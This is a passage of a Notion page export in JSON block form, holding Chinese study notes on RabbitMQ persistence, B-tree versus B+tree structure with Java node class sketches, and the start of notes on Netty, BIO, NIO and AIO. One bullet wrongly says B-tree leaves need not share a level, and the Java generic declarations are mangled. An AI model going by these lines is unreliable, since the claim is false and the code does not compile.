会将消息写入磁盘以保证在服务器重启后消息不会丢失。持久消息会在收到时立即被写入磁盘。"]]},"created_time":1716365255656,"last_edited_time":1716365255661,"parent_id":"0026b0d5-58bf-4fb5-9006-3cbad925ea47","parent_table":"block","alive":true}},"c67a7e7e-56c8-4acf-8231-d6dcbbdb9c26":{"value":{"id":"c67a7e7e-56c8-4acf-8231-d6dcbbdb9c26","type":"bulleted_list","properties":{"title":[["非持久消息通常只保存在内存中,虽然在内存压力大时也可能被写入磁盘,但这不是默认行为。"]]},"created_time":1716365255656,"last_edited_time":1716365255661,"parent_id":"0026b0d5-58bf-4fb5-9006-3cbad925ea47","parent_table":"block","alive":true}},"2e4a9f2d-46e7-41aa-8d45-c1beff08dbbb":{"value":{"id":"2e4a9f2d-46e7-41aa-8d45-c1beff08dbbb","type":"bulleted_list","properties":{"title":[["RabbitMQ 首先将消息保存在内存中,以提高消息的吞吐量和处理速度。"]]},"created_time":1716365255656,"last_edited_time":1716365255661,"parent_id":"80cd08ab-5069-406c-a5b4-96f1545a2f89","parent_table":"block","alive":true}},"041f69fd-a7c6-4ae1-afc9-59decba70ec8":{"value":{"id":"041f69fd-a7c6-4ae1-afc9-59decba70ec8","type":"bulleted_list","properties":{"title":[["当内存使用达到一定阈值时,RabbitMQ 会将消息转移到磁盘上,以防止内存溢出。这种情况下,消息写入磁盘的顺序可能会有所不同。"]]},"created_time":1716365255656,"last_edited_time":1716365255661,"parent_id":"80cd08ab-5069-406c-a5b4-96f1545a2f89","parent_table":"block","alive":true}},"c1776a38-3cc8-40a1-be19-7bab2e9ef792":{"value":{"id":"c1776a38-3cc8-40a1-be19-7bab2e9ef792","type":"bulleted_list","properties":{"title":[["不同类型的队列有不同的消息存储策略。例如,经典队列(Classic Queue)和 Quorum Queue 在消息存储和复制上有不同的实现方式。"]]},"created_time":1716365255656,"last_edited_time":1716365255661,"parent_id":"fc9ae7cc-6549-4f07-afff-34931041b525","parent_table":"block","alive":true}},"7b42cd28-b445-4f1e-8c53-22cc00412e29":{"value":{"id":"7b42cd28-b445-4f1e-8c53-22cc00412e29","type":"bulleted_list","properties":{"title":[["Quorum Queue 是基于 Raft 共识算法实现的,提供了更高的可靠性和一致性的消息存储,但其性能和消息写入顺序可能会受到影响。"]]},"created_time":1716365255657,"last_edited_time":1716365255661,"parent_id":"fc9ae7cc-6549-4f07-afff-34931041b525","parent_table":"block","alive":true}},"72284e02-feff-43b9-b4b8-f19154a955ac":{"value":{"id":"72284e02-feff-43b9-b4b8-f19154a955ac","type":"bulleted_list","properties":{"title":[["RabbitMQ 支持多种消息确认机制(如消息确认、发布确认等),这些机制可以影响消息何时被写入磁盘以及写入的顺序。"]]},"created_time":1716365255657,"last_edited_time":1716365255661,"parent_id":"ff7178d8-e0b1-437a-baf0-9ba00efda439","parent_table":"block","alive":true}},"9e7f4323-537c-4ed8-a258-b4b6e659238d":{"value":{"id":"9e7f4323-537c-4ed8-a258-b4b6e659238d","type":"bulleted_list","properties":{"title":[["B树的每个节点可以包含多个键和子节点指针。"]]},"created_time":1716365520639,"last_edited_time":1716365520664,"parent_id":"583d5a12-2cb6-4a88-9928-15d946b71c03","parent_table":"block","alive":true}},"25376fa3-5b13-4a14-8cd8-ba7123b91e4f":{"value":{"id":"25376fa3-5b13-4a14-8cd8-ba7123b91e4f","type":"bulleted_list","properties":{"title":[["每个节点的键和子节点指针数量有一个上限和下限,具体取决于树的阶(degree)。"]]},"created_time":1716365520639,"last_edited_time":1716365520664,"parent_id":"583d5a12-2cb6-4a88-9928-15d946b71c03","parent_table":"block","alive":true}},"96137f6f-674a-44eb-a961-d6ef3eb4b748":{"value":{"id":"96137f6f-674a-44eb-a961-d6ef3eb4b748","type":"bulleted_list","properties":{"title":[["所有叶子节点不一定在同一层。"]]},"created_time":1716365520640,"last_edited_time":1716365520664,"parent_id":"583d5a12-2cb6-4a88-9928-15d946b71c03","parent_table":"block","alive":true}},"197d02a9-6bfa-48c6-adcc-a0253537045c":{"value":{"id":"197d02a9-6bfa-48c6-adcc-a0253537045c","type":"bulleted_list","properties":{"title":[["叶子节点包含实际的数据记录。"]]},"created_time":1716365520640,"last_edited_time":1716365520664,"parent_id":"5c30ff5e-92ee-4d58-aa35-2636eec2fec6","parent_table":"block","alive":true}},"4ec2569d-24c0-4416-94f0-f1dbc41e5a86":{"value":{"id":"4ec2569d-24c0-4416-94f0-f1dbc41e5a86","type":"bulleted_list","properties":{"title":[["由于数据可以存在于所有节点(不仅仅是叶子节点),因此查找数据时可能在非叶子节点找到。"]]},"created_time":1716365520640,"last_edited_time":1716365520664,"parent_id":"5c30ff5e-92ee-4d58-aa35-2636eec2fec6","parent_table":"block","alive":true}},"e1a10f9e-c4da-4104-9467-17ab875a7a32":{"value":{"id":"e1a10f9e-c4da-4104-9467-17ab875a7a32","type":"bulleted_list","properties":{"title":[["查询过程中,数据可能在任何层次的节点中找到,导致查询路径可能较短。"]]},"created_time":1716365520641,"last_edited_time":1716365520664,"parent_id":"f83fe364-7758-4b7d-a2b4-97b7bbe8c45a","parent_table":"block","alive":true}},"c5371233-4657-43d2-8b5f-034990fdd039":{"value":{"id":"c5371233-4657-43d2-8b5f-034990fdd039","type":"bulleted_list","properties":{"title":[["内部节点(非叶子节点)只存储键和子节点指针,不存储实际数据。"]]},"created_time":1716365520641,"last_edited_time":1716365520664,"parent_id":"2c5006ea-e759-4e2b-bc52-a86d0a9b0f8c","parent_table":"block","alive":true}},"b5f65e09-0e7c-4659-8fa4-1f7a3c130f11":{"value":{"id":"b5f65e09-0e7c-4659-8fa4-1f7a3c130f11","type":"bulleted_list","properties":{"title":[["叶子节点存储所有的数据记录。"]]},"created_time":1716365520642,"last_edited_time":1716365520664,"parent_id":"2c5006ea-e759-4e2b-bc52-a86d0a9b0f8c","parent_table":"block","alive":true}},"8b86353b-b40a-4f9d-ae43-171829d5f989":{"value":{"id":"8b86353b-b40a-4f9d-ae43-171829d5f989","type":"bulleted_list","properties":{"title":[["所有叶子节点在同一层,并通过指针相互链接,形成一个链表结构。"]]},"created_time":1716365520642,"last_edited_time":1716365520664,"parent_id":"2c5006ea-e759-4e2b-bc52-a86d0a9b0f8c","parent_table":"block","alive":true}},"ef74f09c-abde-4cc7-a817-d12610cd6507":{"value":{"id":"ef74f09c-abde-4cc7-a817-d12610cd6507","type":"numbered_list","properties":{"title":[["叶子节点",[["b"]]],[":"]]},"content":["d012d063-417a-4ca1-aae2-e34722e40cd0","8dfd8073-5cf3-46d2-81b6-a22d0eab09b0"],"created_time":1716365520643,"last_edited_time":1716365825451,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"a28f9e1a-54ad-4bc4-9dfe-9a497ae8fa4a":{"value":{"id":"a28f9e1a-54ad-4bc4-9dfe-9a497ae8fa4a","type":"numbered_list","properties":{"title":[["搜索效率",[["b"]]],[":"]]},"content":["60a2fc69-834f-48fa-b2d3-3acefb200a7a"],"created_time":1716365520643,"last_edited_time":1716365520664,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"3027a6d1-9072-4c2a-9290-95c11d91ca2f":{"value":{"id":"3027a6d1-9072-4c2a-9290-95c11d91ca2f","type":"text","properties":{"title":[["主要区别总结"]]},"created_time":1716365520643,"last_edited_time":1716366306364,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"8f4a42d7-42f9-4989-974d-1821a0c21035":{"value":{"id":"8f4a42d7-42f9-4989-974d-1821a0c21035","type":"numbered_list","properties":{"title":[["数据存储位置",[["b"]]],[":"]]},"content":["9febe979-f4cc-4580-857f-6fa55f18a886","65f1e156-e0d2-4e01-9897-235461218acc"],"created_time":1716365520644,"last_edited_time":1716365520664,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"59fa0619-f8a9-41ec-b972-0e2aca840b33":{"value":{"id":"59fa0619-f8a9-41ec-b972-0e2aca840b33","type":"numbered_list","properties":{"title":[["叶子节点的结构",[["b"]]],[":"]]},"content":["aa622da9-fc9c-4ee7-a50e-a9b43719ae40","cabc468d-31e7-4eae-8361-b754f004ea84"],"created_time":1716365520646,"last_edited_time":1716365520664,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"35820500-a7fe-4db3-99ce-e08eb0380935":{"value":{"id":"35820500-a7fe-4db3-99ce-e08eb0380935","type":"numbered_list","properties":{"title":[["树的高度",[["b"]]],[":"]]},"content":["d070d18d-b601-4f65-a0d3-26ae55fc55aa","02f23676-4c98-463a-af66-a85d351c6556"],"created_time":1716365520647,"last_edited_time":1716365520664,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"60d78664-d373-48ac-ab4e-48a18f7ddcb9":{"value":{"id":"60d78664-d373-48ac-ab4e-48a18f7ddcb9","type":"numbered_list","properties":{"title":[["查询效率",[["b"]]],[":"]]},"content":["34e386a3-e2f2-4785-9ce9-dfc4aa216551","41448cd4-9f72-4362-bfae-5dec127f4eaf"],"created_time":1716365520649,"last_edited_time":1716365520664,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"71d1d509-e282-43a3-a20e-3979ab09fad0":{"value":{"id":"71d1d509-e282-43a3-a20e-3979ab09fad0","type":"text","properties":{"title":[["应用场景"]]},"created_time":1716365520649,"last_edited_time":1716533846795,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"acff96a5-834f-433e-8f8e-bc4f68262ef3":{"value":{"id":"acff96a5-834f-433e-8f8e-bc4f68262ef3","type":"bulleted_list","properties":{"title":[["B树",[["b"]]],[":适用于需要频繁插入和删除操作的场景,因为它不需要保持叶子节点的链表结构。"]]},"created_time":1716365520649,"last_edited_time":1716365520664,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"1477c6b1-5123-466c-b9ea-5a407a7f558d":{"value":{"id":"1477c6b1-5123-466c-b9ea-5a407a7f558d","type":"bulleted_list","properties":{"title":[["B+树",[["b"]]],[":适用于需要高效范围查询和顺序访问的场景,比如数据库索引结构。"]]},"created_time":1716365520650,"last_edited_time":1716365520664,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"b305d0fa-e4f6-42f1-8b58-42f83bb79007":{"value":{"id":"b305d0fa-e4f6-42f1-8b58-42f83bb79007","type":"text","properties":{"title":[["在 MySQL 中,InnoDB 存储引擎使用 B+树作为其默认索引结构,因为这种结构非常适合数据库的范围查询和顺序访问。"]]},"created_time":1716365520650,"last_edited_time":1716365520664,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"ebc08365-90f9-4b67-8c9f-58e84e20601f":{"value":{"id":"ebc08365-90f9-4b67-8c9f-58e84e20601f","type":"divider","format":{"copied_from_pointer":{"id":"4b3f2ad3-c684-4715-bafa-a758058bc3c8","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292000,"last_edited_time":1714377292000,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"4b3f2ad3-c684-4715-bafa-a758058bc3c8"}},"487429ac-e5a2-48da-95d9-33cb1bba96a9":{"value":{"id":"487429ac-e5a2-48da-95d9-33cb1bba96a9","type":"text","format":{"copied_from_pointer":{"id":"01b7d10d-1376-4cdf-a4aa-d25bc77a5018","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716366256953,"last_edited_time":1716366256953,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"ee50a6ea-2152-4aec-bec5-ad44bd94f6df":{"value":{"id":"ee50a6ea-2152-4aec-bec5-ad44bd94f6df","type":"quote","properties":{"title":[["给我用java类的方式,写出B+树的叶子结点结构和内部节点结构"]]},"format":{"copied_from_pointer":{"id":"01b7d10d-1376-4cdf-a4aa-d25bc77a5018","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716366257104,"last_edited_time":1716366270287,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"c6b64634-728e-4edb-bc93-583dac7c023e":{"value":{"id":"c6b64634-728e-4edb-bc93-583dac7c023e","type":"text","properties":{"title":[["假设每个节点可以存储一个固定数量的键,并且每个叶子节点包含一个指向下一个叶子节点的指针。"]]},"created_time":1716366313734,"last_edited_time":1716366323697,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"741909f0-27e7-4160-a051-53351b768cc3":{"value":{"id":"741909f0-27e7-4160-a051-53351b768cc3","type":"text","properties":{"title":[["B+ 树叶子节点结构"]]},"created_time":1716366313734,"last_edited_time":1716366379713,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"e3f5af02-1377-41f4-844d-d4241f176a39":{"value":{"id":"e3f5af02-1377-41f4-844d-d4241f176a39","type":"code","properties":{"title":[["public class BPlusTreeLeafNode, V> {\n private static final int MAX_KEYS = 4; // 假设每个节点最多存储4个键\n private K[] keys;\n private V[] values;\n private int keyCount;\n private BPlusTreeLeafNode next;\n}"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1716366313734,"last_edited_time":1716603224335,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"c5e6bd2c-bad4-4960-9bda-21e20c6c6299":{"value":{"id":"c5e6bd2c-bad4-4960-9bda-21e20c6c6299","type":"text","properties":{"title":[["B+ 树内部节点结构"]]},"created_time":1716366313734,"last_edited_time":1716366377107,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"0d26d3b9-adcc-43a3-bbd4-0eee5746b4e8":{"value":{"id":"0d26d3b9-adcc-43a3-bbd4-0eee5746b4e8","type":"code","properties":{"title":[["public class BPlusTreeInternalNode> {\n private static final int MAX_KEYS = 4; // 假设每个节点最多存储4个键\n private K[] keys;\n private Object[] children; // 可以是叶子节点或内部节点\n private int keyCount;\n}"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1716366313734,"last_edited_time":1716603226429,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"39d06ff6-dc42-4d5e-83aa-b1592faa17b2":{"value":{"id":"39d06ff6-dc42-4d5e-83aa-b1592faa17b2","type":"text","properties":{"title":[["说明"]]},"created_time":1716366313735,"last_edited_time":1716366374246,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"ae403e24-8d53-4523-b295-372937eecad4":{"value":{"id":"ae403e24-8d53-4523-b295-372937eecad4","type":"bulleted_list","properties":{"title":[["叶子节点("],["BPlusTreeLeafNode",[["c"]]],[")包含键和值的数组以及指向下一个叶子节点的指针。"]]},"created_time":1716366313735,"last_edited_time":1716366313740,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"58d063c9-9f62-4842-a163-84939315e780":{"value":{"id":"58d063c9-9f62-4842-a163-84939315e780","type":"bulleted_list","properties":{"title":[["内部节点("],["BPlusTreeInternalNode",[["c"]]],[")包含键的数组和子节点指针的数组。"]]},"created_time":1716366313735,"last_edited_time":1716366313740,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"e0c123ea-66d5-4f8f-8b00-4a10aaa87dce":{"value":{"id":"e0c123ea-66d5-4f8f-8b00-4a10aaa87dce","type":"bulleted_list","properties":{"title":[["为了简化实现,假设每个节点最多存储4个键。"]]},"created_time":1716366313735,"last_edited_time":1716366313740,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"b4a501f4-5a53-489d-8dbb-e1749583f974":{"value":{"id":"b4a501f4-5a53-489d-8dbb-e1749583f974","type":"bulleted_list","properties":{"title":[["实际的插入和删除逻辑需要处理节点分裂、合并等操作,这里省略了具体实现。"]]},"created_time":1716366313735,"last_edited_time":1716366313740,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"10ed7fcb-b35c-4b15-9e60-4de71ca2c2b4":{"value":{"id":"10ed7fcb-b35c-4b15-9e60-4de71ca2c2b4","type":"text","properties":{"title":[["这些类提供了 B+ 树节点的基本结构。在完整实现中,你需要实现插入、删除、查找等操作,以及处理节点的分裂和合并。"]]},"created_time":1716366313735,"last_edited_time":1716366313740,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"d012d063-417a-4ca1-aae2-e34722e40cd0":{"value":{"id":"d012d063-417a-4ca1-aae2-e34722e40cd0","type":"bulleted_list","properties":{"title":[["叶子节点包含所有的数据记录和指向相邻叶子节点的指针。"]]},"created_time":1716365520642,"last_edited_time":1716365520664,"parent_id":"ef74f09c-abde-4cc7-a817-d12610cd6507","parent_table":"block","alive":true}},"8dfd8073-5cf3-46d2-81b6-a22d0eab09b0":{"value":{"id":"8dfd8073-5cf3-46d2-81b6-a22d0eab09b0","type":"bulleted_list","properties":{"title":[["这种结构使得"],["范围查询和顺序访问",[["h","red"]]],["更加高效。"]]},"created_time":1716365520643,"last_edited_time":1716365829011,"parent_id":"ef74f09c-abde-4cc7-a817-d12610cd6507","parent_table":"block","alive":true}},"60a2fc69-834f-48fa-b2d3-3acefb200a7a":{"value":{"id":"60a2fc69-834f-48fa-b2d3-3acefb200a7a","type":"bulleted_list","properties":{"title":[["数据记录只存在于叶子节点,因此查找数据时必须到达叶子节点,但由于叶子节点在同一层,所以树的高度较低,查找路径相对稳定。"]]},"created_time":1716365520643,"last_edited_time":1716365520664,"parent_id":"a28f9e1a-54ad-4bc4-9dfe-9a497ae8fa4a","parent_table":"block","alive":true}},"9febe979-f4cc-4580-857f-6fa55f18a886":{"value":{"id":"9febe979-f4cc-4580-857f-6fa55f18a886","type":"bulleted_list","properties":{"title":[["B树",[["b"]]],[":数据存储在所有节点中(包括内部节点和叶子节点)。"]]},"created_time":1716365520644,"last_edited_time":1716365520664,"parent_id":"8f4a42d7-42f9-4989-974d-1821a0c21035","parent_table":"block","alive":true}},"65f1e156-e0d2-4e01-9897-235461218acc":{"value":{"id":"65f1e156-e0d2-4e01-9897-235461218acc","type":"bulleted_list","properties":{"title":[["B+树",[["b"]]],[":数据仅存储在叶子节点中。"]]},"created_time":1716365520644,"last_edited_time":1716365520664,"parent_id":"8f4a42d7-42f9-4989-974d-1821a0c21035","parent_table":"block","alive":true}},"aa622da9-fc9c-4ee7-a50e-a9b43719ae40":{"value":{"id":"aa622da9-fc9c-4ee7-a50e-a9b43719ae40","type":"bulleted_list","properties":{"title":[["B树",[["b"]]],[":叶子节点没有特别的链接结构。"]]},"created_time":1716365520645,"last_edited_time":1716365520664,"parent_id":"59fa0619-f8a9-41ec-b972-0e2aca840b33","parent_table":"block","alive":true}},"cabc468d-31e7-4eae-8361-b754f004ea84":{"value":{"id":"cabc468d-31e7-4eae-8361-b754f004ea84","type":"bulleted_list","properties":{"title":[["B+树",[["b"]]],[":叶子节点通过链表结构相互链接,便于范围查询和顺序访问。"]]},"created_time":1716365520646,"last_edited_time":1716365520664,"parent_id":"59fa0619-f8a9-41ec-b972-0e2aca840b33","parent_table":"block","alive":true}},"d070d18d-b601-4f65-a0d3-26ae55fc55aa":{"value":{"id":"d070d18d-b601-4f65-a0d3-26ae55fc55aa","type":"bulleted_list","properties":{"title":[["B树",[["b"]]],[":由于数据存储在各层节点中,树的高度可能会比 B+树稍高。"]]},"created_time":1716365520647,"last_edited_time":1716365520664,"parent_id":"35820500-a7fe-4db3-99ce-e08eb0380935","parent_table":"block","alive":true}},"02f23676-4c98-463a-af66-a85d351c6556":{"value":{"id":"02f23676-4c98-463a-af66-a85d351c6556","type":"bulleted_list","properties":{"title":[["B+树",[["b"]]],[":所有数据都在叶子节点中,内部节点的高度较低,树的高度更稳定。"]]},"created_time":1716365520647,"last_edited_time":1716365520664,"parent_id":"35820500-a7fe-4db3-99ce-e08eb0380935","parent_table":"block","alive":true}},"34e386a3-e2f2-4785-9ce9-dfc4aa216551":{"value":{"id":"34e386a3-e2f2-4785-9ce9-dfc4aa216551","type":"bulleted_list","properties":{"title":[["B树",[["b"]]],[":数据可能在任何节点中找到,查询路径可能较短。"]]},"created_time":1716365520648,"last_edited_time":1716365520664,"parent_id":"60d78664-d373-48ac-ab4e-48a18f7ddcb9","parent_table":"block","alive":true}},"41448cd4-9f72-4362-bfae-5dec127f4eaf":{"value":{"id":"41448cd4-9f72-4362-bfae-5dec127f4eaf","type":"bulleted_list","properties":{"title":[["B+树",[["b"]]],[":数据必须到叶子节点才找到,但由于叶子节点在同一层,查找路径较稳定。"]]},"created_time":1716365520649,"last_edited_time":1716365520664,"parent_id":"60d78664-d373-48ac-ab4e-48a18f7ddcb9","parent_table":"block","alive":true}},"980fe335-9a10-4e98-9793-3ca097bf8256":{"value":{"id":"980fe335-9a10-4e98-9793-3ca097bf8256","type":"divider","format":{"copied_from_pointer":{"id":"a2ead9c1-353f-4f79-905b-57d7ae3c74a1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716366733040,"last_edited_time":1716366733043,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"a2ead9c1-353f-4f79-905b-57d7ae3c74a1"}},"be52d9c1-e71f-4c1f-8ede-46f01bc1170b":{"value":{"id":"be52d9c1-e71f-4c1f-8ede-46f01bc1170b","type":"sub_sub_header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"01b7d10d-1376-4cdf-a4aa-d25bc77a5018","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377291998,"last_edited_time":1714377291998,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"01b7d10d-1376-4cdf-a4aa-d25bc77a5018"}},"7b27dff5-6e48-4c99-aecd-dc662be1d1d0":{"value":{"id":"7b27dff5-6e48-4c99-aecd-dc662be1d1d0","type":"bulleted_list","properties":{"title":[["B+树,主要就是去看叶子节点和非叶子节点的特性"]]},"format":{"copied_from_pointer":{"id":"6ac11c3a-02fd-476e-bdb9-6edcf6c73ef5","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292002,"last_edited_time":1716366573306,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"6ac11c3a-02fd-476e-bdb9-6edcf6c73ef5"}},"3e505d70-005f-4051-8643-91f5b1f5b47a":{"value":{"id":"3e505d70-005f-4051-8643-91f5b1f5b47a","type":"bulleted_list","properties":{"title":[["叶子节点才有值,非叶子节点只是做导航用的"]]},"created_time":1716366573587,"last_edited_time":1716366625813,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"2e490057-db94-4a66-b655-d9ff672a83bd":{"value":{"id":"2e490057-db94-4a66-b655-d9ff672a83bd","type":"bulleted_list","properties":{"title":[["为了满足范围查询,有个next相邻指针的概念"]]},"created_time":1716366651106,"last_edited_time":1716366695871,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"4f3922e6-3cb5-4b86-ab41-1528e9e7a3b5":{"value":{"id":"4f3922e6-3cb5-4b86-ab41-1528e9e7a3b5","type":"bulleted_list","properties":{"title":[["查询路径稳定,不会有大波动"]]},"created_time":1716366626360,"last_edited_time":1716366649516,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"8b4f3159-f561-4797-92de-e32c2b16f771":{"value":{"id":"8b4f3159-f561-4797-92de-e32c2b16f771","type":"text","format":{"copied_from_pointer":{"id":"3086e76b-6347-45c8-9d70-849bd3e2cde6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292000,"last_edited_time":1714377292000,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"3086e76b-6347-45c8-9d70-849bd3e2cde6"}},"a5016cf9-d939-4187-9a66-358cd0821083":{"value":{"id":"a5016cf9-d939-4187-9a66-358cd0821083","type":"sub_header","properties":{"title":[["5.、Netty、BIO、NIO、AIO框架"]]},"format":{"copied_from_pointer":{"id":"7e720790-6c33-45ec-ac45-3cd407cccb10","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292003,"last_edited_time":1716603302835,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"7e720790-6c33-45ec-ac45-3cd407cccb10"}},"a56ddce5-3006-4754-b068-3b7e18c0b4eb":{"value":{"id":"a56ddce5-3006-4754-b068-3b7e18c0b4eb","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"569c042b-7e71-44a0-8344-33fc2e3749c9","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292001,"last_edited_time":1714377292001,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"569c042b-7e71-44a0-8344-33fc2e3749c9"}},"cac60fbb-2e66-4486-9366-7125951f697e":{"value":{"id":"cac60fbb-2e66-4486-9366-7125951f697e","type":"quote","properties":{"title":[["给我介绍下Netty、BIO、NIO、AIO"]]},"format":{"copied_from_pointer":{"id":"32b40d48-93ae-4c29-b118-d76a32394d4a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292000,"last_edited_time":1716366792538,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"32b40d48-93ae-4c29-b118-d76a32394d4a"}},"8668bdb3-34ea-4e85-9780-f3c3c01ed9b1":{"value":{"id":"8668bdb3-34ea-4e85-9780-f3c3c01ed9b1","type":"text","properties":{"title":[["Netty",[["b"]]],[" 是一个基于 Java 的高性能、"],["异步事件驱动",[["b"]]],["的网络应用框架,主要用于开发高性能的网络服务器和客户端。Netty 提供了丰富的功能,如:"]]},"created_time":1716366878715,"last_edited_time":1716603309594,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"93bd96b5-0bfd-4f59-bd01-0a6e04814b20":{"value":{"id":"93bd96b5-0bfd-4f59-bd01-0a6e04814b20","type":"bulleted_list","properties":{"title":[["支持多种协议(如 HTTP、FTP、SMTP、WebSocket 等)。"]]},"created_time":1716366878715,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"2d0b021b-ccd5-43b0-b6d4-84e88b299ca7":{"value":{"id":"2d0b021b-ccd5-43b0-b6d4-84e88b299ca7","type":"bulleted_list","properties":{"title":[["高度可配置的线程模型。"]]},"created_time":1716366878715,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"756ba6d3-aa5c-444c-8b7d-d6454a8800a7":{"value":{"id":"756ba6d3-aa5c-444c-8b7d-d6454a8800a7","type":"bulleted_list","properties":{"title":[["内置的编解码器,方便进行数据处理。"]]},"created_time":1716366878715,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"7f7ae1e3-7c83-4697-95bf-a9d696e29c98":{"value":{"id":"7f7ae1e3-7c83-4697-95bf-a9d696e29c98","type":"bulleted_list","properties":{"title":[["异步和事件驱动的编程模型,简化了并发编程。"]]},"created_time":1716366878715,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"e6b5f2e2-e1eb-4e48-b3a7-a19c6cfa5aba":{"value":{"id":"e6b5f2e2-e1eb-4e48-b3a7-a19c6cfa5aba","type":"text","properties":{"title":[["Netty 的核心是基于 NIO 的,提供了更高的抽象层,使开发更容易和高效。"]]},"created_time":1716366878715,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"f71c85b2-66b1-4cea-8a18-4d80673527fb":{"value":{"id":"f71c85b2-66b1-4cea-8a18-4d80673527fb","type":"text","properties":{"title":[["BIO",[["b"]]],[" (Blocking I/O) 是 Java 传统的 I/O 模型,基于流的阻塞式 I/O 操作。其特点是:"]]},"created_time":1716366878715,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"5e3a0497-1736-4ae7-b862-34a230565a75":{"value":{"id":"5e3a0497-1736-4ae7-b862-34a230565a75","type":"bulleted_list","properties":{"title":[["每个连接都会有一个独立的线程进行处理。"]]},"created_time":1716366878715,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"0592925b-bbc9-461f-baae-2dbe318ccd24":{"value":{"id":"0592925b-bbc9-461f-baae-2dbe318ccd24","type":"bulleted_list","properties":{"title":[["阻塞式 I/O 